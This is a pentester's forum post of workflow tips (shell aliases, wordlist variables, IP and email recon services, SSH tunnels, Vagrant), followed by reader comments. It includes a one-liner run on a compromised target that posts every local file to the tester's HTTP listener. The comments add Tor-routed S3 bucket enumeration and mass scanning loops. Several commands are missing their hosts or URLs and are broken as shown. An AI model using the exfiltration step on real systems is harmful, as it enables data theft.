Tricks of the Trade from 5+ years in Offensive Cyber Security

I have been actively hacking things now for 5+ years, both professionally and as a hobbyist. Inside these 5 years, many mistakes have been made, I have my banged my head against a wall many times, I’ve messed up, I’ve had many “Ohhhhh” moments. This may all sound extremely familiar to you, and you’ll agree, that through all this there is one constant: you learn from these experiences.

In this article I’m going to document a few techniques, commands and small things that make my day-day testing life easier, and that might just make your life more enjoyable!

I apologize in advance for how unstructued this article might be, I just had a lot of back-pocket tricks I have picked up over the years and if my unorganized brain dump of tricks can make somebody go “Oh thats cool!” I’ll be happy :slight_smile:

If you found anything here interesting, helpful, or amusing, please share this article to share the knowledge and joy!

ZSH vs Bash, Aliases, Docker


One thing that has seriously made a difference to my productivity has been ZSH, and more specifically plugins such as ‘Z’. ZSH coupled with oh-my-zsh, and smart tab completion enabled, makes navigating directories in your terminal so much more pleasurable.

With my current setup, I can type cd d/p/ad, press tab, and it’ll auto complete to Documents/Pentest/AD/. There is also a ZSH plugin I use called z. Z will analyse your directory history and figure out what directories you go to most often. After about a few hours of use, typing z pentest will take you to your pentest directory, z someproject will take you there no matter where you are.

It’s hard to explain, but it’s magic.


More shell fun, inside your .zshrc or .bashrc (scum), you can specify an alias, an alias will set a name of a command to whatever you set.

So for example:

alias nmap="grc nmap"

GRC colorizes cli application, this will make nmap very pretty, and make the responses somewhat readable! Wow!

If you’re familiar with the Linux shell, you’ll also know that you can set variables using the EXPORT command.

gobuster -w $BIG -u

export DIRS_LARGE=/pentest/seclists/Discovery/Web-Content/raft-large-directories.txt
export DIRS_SMALL=/pentest/seclists/Discovery/Web-Content/raft-small-directories.txt

export FILES_LARGE=/pentest/seclists/Discovery/Web-Content/raft-large-files.txt
export FILES_SMALL=/pentest/seclists/Discovery/Web-Content/raft-small-files.txt

export BIG=/pentest/seclists/Discovery/Web-Content/big.txt

Setting these directories allows us to access them by using their alias, such as in the above example where we use gobuster with $BIG as apposed to using their full path. This is a very nice little tip as it not only keeps your command (usually) to one line, it also means you don’t have to remember and type out the entire wordlist path everytime you need the list - which trust me, can be a lot if you’re regularly enumerating HTTP.


This is something I’ve been doing ever since I discovered Docker, but ropnop sums it up really nicely in his Docker for Pentesters article. I recommend reading through this, but my favourite trick from this entire article has got to be this:

alias postfiledumphere='docker run --rm -it -p80:3000 -v "${PWD}:/data" rflathers/postfiledump'  

Run this command, postfiledumphere, and then on your target machine (in a hackthebox or remote reverse shell), run this:

ls | xargs -I{} wget{} --post-file {}

This will iterate through all the files in the local directory, and transfer it over HTTP. This is extremely helpful if you find yourself in an embedded device, or even a locked down container. If you don’t have wget, you can use curl (which is in most devices).

Situational Awareness with IP’s

If you’ve been given an IP, and you need to do some threat intel on it, you can get a pretty good feel for the type of host it is, where it is, and what it does.


Usually if I get given an IP, I’ll do a lookup with ipinfo.

  "ip": "",
  "hostname": "",
  "city": "Virginia Beach",
  "region": "Virginia",
  "country": "US",
  "loc": "36.8512,-76.1692",
  "org": "AS14618, Inc.",
  "postal": "23465",
  "readme": ""

IPInfo will return JSON with details all about the host, the great thing about this is that you can easily script it by piping into jq.

I tend to abuse bash for loops for this kind of thing, say you have a text file full of IP’s:

for ip in $(cat ips.txt); do echo -n "$ip: "; curl -s$ip | jq .org; done "AS14618, Inc." "AS14618, Inc." "AS14618, Inc." "AS14618, Inc." "AS14618, Inc."

You can do the same with Greynoise, if you don’t know already, is a badass service that hosts thousands of listeners all over the internet silently listening. When devices scan the internet for different ports, services, HTTP requests and the like, Greynoise takes note and indexes them.

The idea behind Greynoise is to ingest all the noise on the internet, so that you can filter it out.

If you have an API key, you can use the greynoise client from

     __  ____/__  | / /_  __ \__  / 
     _  / __ __   |/ /_  / / /_  /  
     / /_/ / _  /|  / / /_/ /_  /___
     \____/  /_/ |_/  \___\_\/_____/
 │       result 1 of 1       │

 Classification: unknown
 First seen: 2018-10-19
 Last seen: 2018-10-19
 Actor: unknown
 Tags: ['Web Crawler', 'HTTP Alt Scanner']

 Location: Ashburn, United States (US)
 Organization: Amazon Technologies Inc.
 ASN: AS14618
 OS: unknown
 Category: hosting

          RAW DATA:
 Port/Proto: 8443/TCP


And of course, you can loop this around all day with bash for loops and the -o json option.


You are probably aware of Shodan, I had to mention this for those who still don’t know, as it’s such a valuable tool.

Shodan scans all the hosts on the internet, all the time. This means you can preform a lookup of a host and see what they have.

shodan host
Hostnames:     ;
City:                    Mountain View
Country:                 United States
Organization:            Google
Updated:                 2019-08-17T19:28:38.408716
Number of open ports:    2

	|-- SSL Versions: TLSv1, TLSv1.1, TLSv1.2, TLSv1.3

Email Recon

A quick little trick I picked up is preforming recon on email addresses extremely quickly using EmailRep.

curl[email protected]
  "email": "[email protected]",
  "reputation": "high",
  "suspicious": false,
  "references": 91,
  "details": {
    "blacklisted": false,
    "malicious_activity": false,
    "malicious_activity_recent": false,
    "credentials_leaked": true,
    "credentials_leaked_recent": false,
    "data_breach": true,
    "last_seen": "07/27/2019",
    "domain_exists": true,
    "domain_reputation": "n/a",
    "new_domain": false,
    "days_since_domain_creation": 8773,
    "suspicious_tld": false,
    "spam": false,
    "free_provider": true,
    "disposable": false,
    "deliverable": true,
    "accept_all": false,
    "valid_mx": true,
    "spoofable": true,
    "spf_strict": true,
    "dmarc_enforced": false,
    "profiles": [

SSH Tunelling

If you’ve ever exposed a CobaltStrike team server port externally, and told people about it, you’ll get a lot of hate (source: 1337 hacker slacks). What’s the solution? SSH Tunelling.

If you have SSH access to a host, you can tunnel ports (map remote ports to local ones), dynamically create SOCKS proxies, and a lot of really cool things.

Mapping remote port to local port

ssh -L localport: [email protected]

A good way to think about the syntax of SSH tunnels is to split it into two parts (when I saw this it blew my mind.)

ssh -L [email protected]

This will open local port 8080, mapped to port 80 on the remote server. Luckily for us, SSH is kind and let’s us infer the first host as local.

Opening a SOCKS proxy that routes from your server

SSH -D 8080 [email protected]

This will open a socks proxy on local port 8080, you can modify your proxychains.conf to accept this port, and then use proxychains before every command to route traffic through that host.


This is a cool little trick I learned, and it has really made me productive and has generally made things easier.

Like Docker, vagrant can spin up instances of operating systems and drop you into an interactive shell.

My favourite is using Ubuntu:

vagrant init hashicorp/precise32
vagrant up
vagrant ssh
cd /vagrant/

You’ll be dropped into an Ubuntu Precise shell!


In conclusion, a lot of cool little tricks can really make your life easier as a pentester. Small one liners, a reference article like this, and you may actually look like you know what you’re doing.

I hope you enjoyed this braindump :D, have an amazing day 0x00ers!

- Pry0cc


Nice to see that someone else in the industry is doing the same things I am mixed in with some cool things I wasn’t aware of. Thanks!


Great write up thanks!


Thanks man! Means a lot <3

1 Like

I’m so glad you got some nuggets from this :slight_smile:

That’s exactly why I posted it!

1 Like

blew my mind thanks for sharing

1 Like

Good stuff <3

But… fish shell :frowning:

1 Like

Wow I don’t hear that very often!

I’m so glad you enjoyed it :slight_smile:

1 Like

Very useful, glad u share it


This is neat! Do you use xargs / GNU parallel? They’re very very handy for me and I keep them always in my aliases.

I use xargs occasionally - I’m trying to learn it more. For loops have been a dirty method for me for a long time and it’s like muscle memory now. Xargs for sure is powerful as hell.

A lot of my one liners have become muscle memory after typing them way too many times.

I for sure need some xargs in my muscle memory :stuck_out_tongue: Please share them here!


Here goes some from my recent .zsh_history

One nifty little trick I use often is to run echo before my actual command in xargs to see what commands would actually be executed. An example is :
cat text | xargs -n1 -I {} echo {}

TORIFY is an excellent binary which I keep in Handy to route my network requests through Tor.

  8101  cat | xargs -n1 -I {} curl -s -S -D - https://{} >> example.com_report
  8103  cat ip_list_active | xargs -n1 -I {} nmap -Pn {} >> nmap_logs
  8367  awk '{print $NF}' bucket_list | xargs -n1 -I {} sh -c "torify aws s3 ls s3://{}/ || exit 0"
  9131  cat /tmp/list | sed 's|[,.]||g' | tr ' ' '\n' | sort | uniq  | xargs -n1 -I {} cat {}
  9133  cat /tmp/list | sed 's|[,.]||g' | tr ' ' '\n' | sort | uniq | xargs -n1 -I {} echo {}
  9141  cat /tmp/list | xargs -n1 -I {} bash /tmp/vig -c "CODE WHITE" {}  | xargs -n1 -I {} /tmp/ {}
  9250  ls -1 | parallel --max-args=2 ffmpeg -i {1} -i {2} -vcodec copy -acodec copy {1}.mkv
  9253  parallel --jobs 6 < tasks.txt

This is actually very helpful, ty for that :wink:

1 Like

Really helpful information, thank you man :grinning:


and a nice tutorial


nice tuto, to be pinned.

Didn’t know emailrep/ipinfo had ability to return information in JSON. This looks quite useful (say, for OSINT).

1 Like

Awed by postfiledump, I’ve made a static-binary program (no docker) to upload-via-POST and download-via-GET, over HTTPS

The go-lang source, and compiled static-binaries for windows and linux are in the repo.
Giving back in case it interests anyone else:



This is a really good read. I learned a few new things from this. The ssh tunneling tricks always trip me up. I have to triple check my syntax.


1 Like

the ip info and email info is new to me. i wrote my own ip info script for no freakin reason.